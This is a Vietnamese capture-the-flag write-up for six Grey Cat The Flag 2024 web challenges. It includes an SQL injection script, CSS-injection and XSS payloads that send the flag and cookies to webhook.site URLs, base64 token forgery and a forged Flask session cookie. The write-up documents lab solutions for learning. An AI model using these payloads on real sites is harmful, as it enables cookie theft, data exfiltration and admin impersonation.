---
# System prepended metadata

title: Writeup Grey Cat The Flag 2024  Web challenges
tags: [writeup]

---

# No Sql Injection 

![image](https://hackmd.io/_uploads/rJhhUjIWA.png)

![Screenshot 2024-04-25 144326](https://hackmd.io/_uploads/rJyeIg_b0.png)


Về giao diện thì trang web có 2 chức năng là register và login

![image](https://hackmd.io/_uploads/B1Be5YvbR.png)


![image](https://hackmd.io/_uploads/rydkqFwZ0.png)


Ở challenge này cung cấp cho ta source code nên ta sẽ phân tích code luôn.

Mình sẽ tóm tắt ngắn gọn như sau:

- **mysql gồm 2 table là `users` và `tokens`**
![image](https://hackmd.io/_uploads/H1ZeoYwZA.png)

- **Chức năng register sẽ gồm 2 API:**
/api/register/1
![image](https://hackmd.io/_uploads/rycNsYwZC.png)
/api/register/2
![image](https://hackmd.io/_uploads/Bk5wotDWC.png)
Trong đó hàm `decode()` có chức năng decode base64

- **Cuối cùng chức năng đăng nhập như sau:**
![image](https://hackmd.io/_uploads/rJJehtDZA.png)
Có thể thấy chúng ta phải là admin mới có được flag

**Token mặc định sẽ có dạng:**
```javascript    
{"name":"nightcore","admin":false}
```

**Mục tiêu của chúng ta là:**
```javascript    
{"name":"nightcore","admin":true}
```

Lổ hổng chính của challenge này xảy ra tại đây, cụ thể chính là việc lưu trữ token dưới dạng base64 trong mysql:

```javascript    
const result = await query("select 1 from tokens where token = ?", [token]);

if (result.length != 1) {
    return res.json({ err: "Token not found!" });
}

await query("delete from tokens where token = ?", [token]);

const { name, admin } = JSON.parse(atob(token));
```

Theo mặc định thì mysql sẽ không phân biệt chữ hoa chữ thường (vì một vài lí do nào đó). 

Điều này có nghĩa là chuỗi `'Nightcore' == 'nightCore'`

Nhưng một vấn đề lớn là base64 lại phân biệt chữ hoa chữ thường!!! 

Khi thay đổi một kí tự in hoa thành kí tự thường trong một chuỗi được mã hóa base64 thì nó cũng sẽ thay đổi luôn cả chuỗi ban đầu trước khi được mã hóa.

Từ cơ chế này ta sẽ thực hiện exploit để giả mạo admin.

Oke bây giờ chúng ta sẽ đăng kí một username có dạng như sau:

![image](https://hackmd.io/_uploads/HyxblqwbC.png)

Trong đó 2 cái dấu màu đỏ trong hình chính decode base64 của `im`

![image](https://hackmd.io/_uploads/B1SXS5vZ0.png)


Tại sao lại là `im`?

Bởi vì khi chuyển `im`->`Im` nó sẽ trở thành dấu nháy kép `"`, để lát nữa khi chỉnh sửa token thì mình chỉ cần chuyển `i` -> `I` nó sẽ tạo cho ta một chuỗi json hợp lệ mà vẫn bypass được điều kiện `WHERE` trong mysql.

![image](https://hackmd.io/_uploads/HJfLHqPbA.png)


>`Im`, `Ij`, `Ig` đều tương tự nhau sẽ cho ra kết quả decode base64 là `"`

`/api/register/1`

![image](https://hackmd.io/_uploads/B1vMfqPW0.png)


Sau khi được cung cấp token chúng ta sẽ thực hiện chỉnh sửa nó như sau:

- Đầu tiên ta sẽ phải làm biến mất kí tự `\`, bằng cách chỉnh sửa `X` -> `x`
![image](https://hackmd.io/_uploads/BJl0mcwZR.png)
Sau khi chỉnh sửa thì `\` đã biến mất
![image](https://hackmd.io/_uploads/Hy2QNqDWA.png)

- Tiếp theo là 2 dấu màu đỏ kia thành `""` bằng cách chỉnh sửa `i`->`I`
![image](https://hackmd.io/_uploads/HJXx89vZR.png)
Sau khi chỉnh sửa ta được:
![image](https://hackmd.io/_uploads/BJI7UqvZR.png)

- Cuối cùng là làm cho dấu nháy kép ở trước admin biến mất 
![image](https://hackmd.io/_uploads/S12jI5vWC.png)
Ta sẽ chỉnh sửa `I`->`i`
![image](https://hackmd.io/_uploads/HJhRI5D-A.png)

Vậy là xong bước giả mạo token, bây giờ việc còn lại chúng ta làm như logic bình thường.

Cuối cùng ta chỉ cần đăng nhập với username là `nightcoreÄ` 

![image](https://hackmd.io/_uploads/Hy7dYqDbA.png)

# Fearless Concurrency

![image](https://hackmd.io/_uploads/HJ3gbovbR.png)

![image](https://hackmd.io/_uploads/BJLbwJdbC.png)

Giao diện không có gì nên chúng ta đi phân tích code luôn.

Tóm tắt code thì chall gồm 4 API như sau:

![image](https://hackmd.io/_uploads/H1zQc1_-0.png)

Ở API register thì chúng ta sẽ được cung cấp một user_id khi nhấn nút đăng kí

![image](https://hackmd.io/_uploads/BktQi1_WA.png)

Tại API query thì bị dính lỗ hổng SQLi

![image](https://hackmd.io/_uploads/rJBrpJd-0.png)

![image](https://hackmd.io/_uploads/ryEY6ydZA.png)

API cuối cùng là /flag sẽ trả về flag nếu ta nhập đúng secret của user_id mà ta cung cấp

![image](https://hackmd.io/_uploads/HycnayuZR.png)

![image](https://hackmd.io/_uploads/SJtlC1ub0.png)

Tên table chứa secret được tạo ra như sau

![image](https://hackmd.io/_uploads/BJo9yeOb0.png)

Do ta có thể tính toán được giá trị của 2/3 tên của table (trừ table_id), cho nên ta có thể leak được tên của table với từ khóa `LIKE` và kí tự `%` để đại diện phần còn lại thông qua `INFORMATION_SCHEMA.TABLES`

Payload:

`-1' UNION SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_name LIKE 'tbl_{hash_hex}%'; -- -`


Nhưng có một vấn đề là sau khi mình thực hiện SQLi trong API /query và lấy được tên table chứa secret ra rồi thì nó sẽ tự động xóa luôn table đó luôn

![image](https://hackmd.io/_uploads/B18h0yO-0.png)

Và ta cũng không thể thực hiện nhiều query cùng lúc trong một user tại API /query, cũng như không thể race condition nốt

![image](https://hackmd.io/_uploads/Sy34-eub0.png)

**Câu hỏi đặt ra là dùng user khác để leak table_name + secret của một user còn lại được không?**

**Trả lời:**

Hoàn toàn có thể, để một user không drop sau khi thực hiện query thì ta sẽ cho nó `sleep()` trong một khoảng thời gian, và trong khoảng thời gian sleep này dùng user khác để leak table+secret của user đó, cuối cùng lấy flag luôn

Script python như sau:

```python    
import requests, time, hashlib
from multiprocessing import Process
ENDPOINT = "http://challs.nusgreyhats.org:33333"

def register(s):
    global ENDPOINT
    return int(s.post(f"{ENDPOINT}/register").text)

def query(s, user_id, query):
    global ENDPOINT
    return s.post(f"{ENDPOINT}/query", json={"user_id": user_id, "query_string": query}).text

def get_table_name(s, user_id, leak_uid):
    hash_object = hashlib.sha1(b'fearless_concurrency' + user_id.to_bytes(8, byteorder="little"))
    hash_hex = hash_object.hexdigest()
    return query(s, leak_uid, f"-1' UNION SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_name LIKE 'tbl_{hash_hex}%'; -- -")

def flag(s, user_id, secret):
    global ENDPOINT
    return s.post(f"{ENDPOINT}/flag", json={"user_id": user_id, "secret": secret}).text

def sleep_user(uid):
    s = requests.Session()
    print(query(s, uid, "-1' UNION SELECT SLEEP(20) -- "))


def main():
    s = requests.Session()
    sleep_uid = register(s)

    p = Process(target=sleep_user, args=(sleep_uid,))
    p.start()

    time.sleep(1)

    leak_uid = register(s)
    secret_table = get_table_name(s, sleep_uid, leak_uid)

    secret = int(query(s, leak_uid, f"-1' UNION SELECT secret FROM {secret_table} -- -"))
    print(flag(s, sleep_uid, secret))

if __name__ == '__main__':
    main()
```

Kết quả:

![image](https://hackmd.io/_uploads/ByL8HxOWA.png)


# Beautiful Styles

![image](https://hackmd.io/_uploads/HkAM-sD-0.png)

Chall cho ta trang web có chức năng submit CSS

![image](https://hackmd.io/_uploads/rkRxmy_bA.png)

Cũng cung cấp luôn cho ta một template mẫu 

<details>
<summary>Example</summary>

```html    
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>My Beautiful Site</title>
    <link
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
      rel="stylesheet"
      integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
      crossorigin="anonymous"
    />
    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div>
    <div class="container mt-4">
      <form action="/judge/{{submit_id}}" method="post">
        <input type="submit" value="Submit for judging">
      </form>
    </div>
    <script
      src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
      integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
      crossorigin="anonymous"
    ></script>
  </body>
</html>
```
</details>

Sau khi thử submit thử template mẫu thì ta nhận về được một fakeflag

![image](https://hackmd.io/_uploads/ryLy4JuWA.png)

![image](https://hackmd.io/_uploads/By8gVkubR.png)


Từ những thông tin phần mô tả và tiêu đề của challenge thì mình đoán rằng đây thuộc lỗ hỗng CSS Injection, với mục tiêu là brute-force mật khẩu.

Sau khi tra google thì mình biết được có thể lợi dụng CSS selector để exfil data

https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

![image](https://hackmd.io/_uploads/S1oAV1dZC.png)

Oke mình sẽ test thử payload

```CSS 
input[id=flag][value^="grey{"]{
    background-image: url(https://webhook.site/0513dfc4-550e-4026-b06b-3303fcbc1841/?exfil=grey{);
}
```

![image](https://hackmd.io/_uploads/Sy1FSyO-A.png)

Kết quả như mong đợi 

![image](https://hackmd.io/_uploads/HkR5ryO-0.png)

Đề bài đã cung cấp sẵn tất cả các kí tự có trong flag rồi nên brute-force cũng dễ.

Chạy script python sau để brute-force từng kí tự xong đó lại cập nhật flag vào code, cứ tiếp tục như vậy cho đến khi có đủ flag

```python    
import requests
import string

submission = "http://challs.nusgreyhats.org:33339/submit"

template = """
input[id=flag][value^="REPLACE"]{
    background-image: url(https://webhook.site/3f678283-f2d5-4a75-bfbf-4203b7e29501/?exfil=REPLACE);
}
"""
charset = string.ascii_uppercase + "f" + string.digits + "}"
flag = "grey{"

for c in charset:
    data = {"css_value": template}
    css = template.replace("REPLACE", flag + c)
    print(css)
    data = {
        "css_value": css
    }
    s = requests.session()
    r = s.post(url=submission, data=data, allow_redirects=False)
    judge = "http://challs.nusgreyhats.org:33339" + r.headers["Location"].replace("submission","judge")
    r = s.post(url=judge)
```

>Do không có server riêng nên script không thể tự động hoàn toàn được :<

Kết quả:

![Screenshot 2024-04-23 234240](https://hackmd.io/_uploads/Sy5sL1_WA.png)


# Markdown Parser

![image](https://hackmd.io/_uploads/BJhxnqw-C.png)

Trang web có chức năng submit file markdown

![image](https://hackmd.io/_uploads/S1of2cD-C.png)

Lổ hỗng XSS xảy ra tại phần `language` trong `code block` khi viết file markdown vì không thực hiện `escapeHtml()`

![image](https://hackmd.io/_uploads/rJK9nqPWC.png)

Payload đơn giản như sau: 

```
```"</code></pre><svg onload="document.location='https://webhook.site/a6cfba2a-abe0-4633-8b10-ed6db920797c/'+document.cookie"><pre><code class="language-
Hacked
```                                                                                                                              .
```
Kết quả:

![Screenshot 2024-04-20 145836](https://hackmd.io/_uploads/HkekCqDWA.png)

# Greyctf Survey

![image](https://hackmd.io/_uploads/BJtzR5PZR.png)

![image](https://hackmd.io/_uploads/BkaQCcwbA.png)

Điều kiện để có flag

![image](https://hackmd.io/_uploads/S1cORcPWR.png)

Mình mò vào [docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt) của hàm parseInt() thì phát hiện được như sau:

![image](https://hackmd.io/_uploads/BkmWJjD-0.png)

Payload:

![Screenshot 2024-04-20 163013](https://hackmd.io/_uploads/Hy3fkiwWC.png)

# Baby Web

![image](https://hackmd.io/_uploads/HyWSyowZA.png)

![image](https://hackmd.io/_uploads/rkIYyivWR.png)

Chỉ có admin mới có thể access được page để lấy flag.

Mà trang web xác định admin thông qua session

![image](https://hackmd.io/_uploads/r1_1goPZC.png)

Lúc đầu mình cứ tưởng nó là JWT :< , nhưng sau khi thử đủ các kiểu thì mình nhận ra mình đã sai

Với từ khóa `Hacking Flask Session Cookie` search trên google thì mình tìm được công cụ [`Flask-Unsign`](https://pypi.org/project/flask-unsign/) có chức năng brute secret_key -> thực hiện tạo session mới giả mạo admin

Đầu tiên cứ decode cookie ra xem thử

![image](https://hackmd.io/_uploads/HJjicK_-R.png)


Mà để ý trong source đã cung cấp cho ta sẵn secret_key là `baby-web` rồi nên mình chỉ cần tạo lại một session mới với `is_admin = true`

Payload:

```
flask-unsign --sign --cookie "{'is_admin': True}" --secret 'baby-web'
```

Sau khi tạo session mới, thay thế session cũ là được

Kết quả:

![Screenshot 2024-04-20 234916](https://hackmd.io/_uploads/B1okZivbR.png)

